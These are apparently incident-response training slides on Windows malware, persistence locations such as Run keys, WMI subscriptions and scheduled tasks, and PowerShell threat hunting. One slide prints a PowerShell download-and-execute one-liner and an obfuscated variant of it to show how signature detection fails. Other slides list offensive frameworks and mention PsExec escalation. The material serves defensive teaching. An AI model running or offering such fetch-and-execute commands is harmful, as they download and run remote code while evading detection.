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General IR Steps



Relevant File Types

⬡ .bat (Batch)

⬡ .exe (Executable)

⬡ .dll (Dynamic Link Library)

⬡ .ps1 (PowerShell Script)

⬡ .mof (Managed Object Format)

⬡ .evtx (Event Log File)

⬡ .xml (Extensible Markup Language)



Batch

⬡ DOS script

⬡ Can interact with predefined executables

⬡ .bat



Executable

⬡ Machine code that is executed by the operating system

⬡ May be written using high-level languages

⬡ .exe



Dynamic Link Library 

⬡ Windows implementation of “shared libraries”

⬡ Prevents redundant storage commonly used code 

⬡ .dll



PowerShell Script

⬡ PowerShell script

⬡ PowerShell Integrated Scripting Environment (ISE)

⬡ Extensive .NET integration

⬡ .ps1



Managed Object Format

⬡ Used to interact with the Windows Management Instrumentation (WMI)

⬡ Complied used mofcomp.exe

⬡ .mof



Event Log

⬡ Stores Windows Logs

⬡ Located “C:\Windows\System32\winevt\Logs\”

⬡ Event viewer used to view logs

⬡ .evtx



Extensible Markup Language

⬡ Many uses

⬠ Scheduled Tasks are stored as .xml

⬡ .xml



Registry

⬡ Hierarchical database

⬠ Stores low-level settings



Scheduled Tasks

⬡ Preform actions given specific triggers

⬡ Stored in C:\Windows\System32\Tasks as xml files



Services

⬡ Work behind the scenes to keep things working

⬡ 4 startup types

⬠ Automatic (Delayed Start)

⬠ Automatic

⬠ Manual

⬠ Disabled



Task Manager

⬡ Provides high-level view of what is running on a system.



Hands-on

1. Get a list of all running processes using PowerShell.

2. Are any services listed?

1. If yes how are they listed?

2. If no why not?



How does malware work?



What user?

⬡ Malware can easily impersonate a signed in user.

⬠ Processes spawn as that user.

⬡ Malware can impersonate a different user then those signed in.



How does it run?

⬡ Non-service malware may run in a hidden window

⬡ Services generally will not have a corresponding GUI on the infected machine

⬡ May run hidden within a legitimate process (dll injection)



How does it communicate?

⬡ Beacons

⬠ UDP used so that a session is never opened

⬡ Protocols that can be used

⬠ HTTP/HTTPS GET and POST Requests

⬠ DNS Tunneling

⬠ FTP

⬠ Anything…..



Questions?



Break slide
Please return on time!



Persistence



Persistence

⬡ Malware will aim to survive

⬠ Restart

⬠ Shutdown

⬠ IP Change

⬠ Logout

⬠ Password Reset

⬠ Account Deletion

⬠ Etc……



Persistence cont.

⬡ WMI Subscriptions

⬡ Scheduled Tasks

⬡ Startup Items

⬡ Login scripts

⬡ Services

⬡ Registry

⬡ PowerShell Profile

⬡ Malicious Group Policies



WMI Subscriptions

⬡ Introduced in Windows 2000

⬡ Executes PowerShell or VBScript

⬡ Event filter uses a query to monitor for a specific event

⬡ Event consumer receives event and executes code



Scheduled Tasks

⬡ Introduced in Microsoft Plus! (1995)

⬡ Triggers and Actions



Startup Items

⬡ Can be found in task manager



Registry

⬡ Introduced in 1992

⬡ Start programs at sign on/start up

⬡ HKEY_LOCAL_MACHINE = HKLM:\

⬡ HKEY_CURRENT_USER = HKCU:\

⬡ Startup Locations
⬠ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

⬠ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

⬠ HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

⬠ HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

⬡ Malware may redirect 
⬠ Registry key points to a different registry key



Services

⬡ May run as svchost.exe 

⬡ 4 startup types

⬠ Automatic (Delayed Start)

⬠ Automatic

⬠ Manual

⬠ Disabled



PowerShell Profile

⬡ Run each time PowerShell.exe is opened

⬡ A PowerShell script



Malicious Group Policies

⬡ Group policies can soften a device

⬠ Disable anti-virus

⬠ Turn off or flood logs

⬠ Disable firewalls

⬠ And more!

⬡ Group Policies can be used to establish registry based persistence

⬡ Malicious group policies are very dangerous



Hands-on

1. List all services with a startup type of “automatic” and “Automatic Delayed Start” 

using PowerShell.

⬠ Hint: Cmdlets won’t always show all properties of a given cmdlet’s output by default.



PowerShell:
IT People like it Attackers Love it



Why PowerShell?

⬡ .NET Integration

⬡ WINAPI Integration

⬡ Windows Remote Management (WIN-RM)

⬡ Windows Management Instrumentation (WMI)

⬡ Great Documentation

⬡ Many useful Cmdlets

⬡ Installed on every Windows system

⬡ Easy to write scripts

⬡ Janky Obfuscation



Obfuscation and PowerShell

⬡ Signature based detection on malicious PowerShell is useless

⬡ -nop == -nopr == -noprof == -noprofile

⬡ These produce the same result

⬠ Invoke-Expression (New-Object Net.WebClient).DownloadString(“htt” + “ps://” + 

“bit.ly/sample”)

⬠ `I`N`V`o`k`e`-`E`x`p`R`e`s`s`i`o`N (& (`G`C`M *w-O*) 

“`N`e`T`.`W`e`B`C`l`i`e`N`T”).”`D`o`w`N`l`o`A`d`S`T`R`i`N`g”( ‘ht’+’tps://bit.ly/sample’)



PowerShell Based Exploitation

⬡ Open Source Tools

⬠ Bloodhound

⬠ Empire (BC-Security Branch)

⬠ Powerup

⬠ PoshC2

⬠ Death Star

⬠ https://github.com/Magrene/PowershellShell/blob/Dev/Bucephalus.ps1

⬠ And more…

⬡ PsExec.exe easily used to escalate privileges to NT AUTHORITY\SYSTEM



Fighting Back



Event Viewer

⬡ Stores event logs generated by operating system

⬡ Best way to view is to export to a .csv and use Excel



Event Viewer + PowerShell Logging



PowerShell for Defense

⬡ Many cmdlets can be leveraged to do threat hunting

⬠ Get-NetTCPConnection

⬠ Get-Process

⬠ Get-Service

⬠ Get-MPComputerStatus

⬠ Get-MpThreat

⬠ And more!



SysInternals

⬡ https://docs.microsoft.com/en-us/sysinternals/downloads/

⬡ Fantastic suite of FREE tools developed by Mark Russinovich

⬠ Autoruns: Good for identifying persistence

⬠ TCPView: View Active TCP connections and TCP/UDP listeners

⬠ ListDLLs: List all dlls currently loaded

⬠ LogonSessions: All active logon sessions

⬠ ProcessExplorer: Detailed information about processes

⬠ LoadOrder: Shows the order drivers are loaded

⬠ ProcessMonitor: Monitor the behavior of a process 



Closing Thoughts

⬡ Incident response is often expensive (time=$$$)

⬡ Identifying the root cause isn’t always possible

⬠ Highlighting potential root causes is a must

⬡ Recommendations should be substantive not surface level

⬡ Keep VERY good notes

⬡ Always check remote access logs like RDP, WIN-RM, SSH, HTTP, FTP etc.

⬡ Rebuilding breached infrastructure is often the best direction 



Homework

⬡ Breached Domain controller

⬡ Hint: You might be getting some annoying behavior of the notepad variety

⬠ https://docs.microsoft.com/en-us/previous-versions/windows/desktop/xperf/image-

file-execution-options

⬠ https://blog.malwarebytes.com/101/2015/12/an-introduction-to-image-file-

execution-options/

https://docs.microsoft.com/en-us/previous-versions/windows/desktop/xperf/image-file-execution-options


Additional Resources

⬡ Windows Security Log Event IDs
⬠ https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/default.aspx

⬡ Windows Sysinternals
⬠ https://docs.microsoft.com/en-us/sysinternals/

⬡ Abusing Windows Management Instrumentation (Black Hat)
⬠ https://tinyurl.com/a7jpzmsc

⬠ https://www.youtube.com/watch?v=0SjMgnGwpq8

⬡ Revoke-Obfuscation: PowerShell Obfuscation Detection (Black hat)
⬠ https://www.youtube.com/watch?v=x97ejtv56xw

⬡ PowerShell Documentation
⬠ https://docs.microsoft.com/en-us/powershell/

https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/default.aspx
https://docs.microsoft.com/en-us/sysinternals/
https://tinyurl.com/a7jpzmsc
https://www.youtube.com/watch?v=0SjMgnGwpq8
https://www.youtube.com/watch?v=x97ejtv56xw

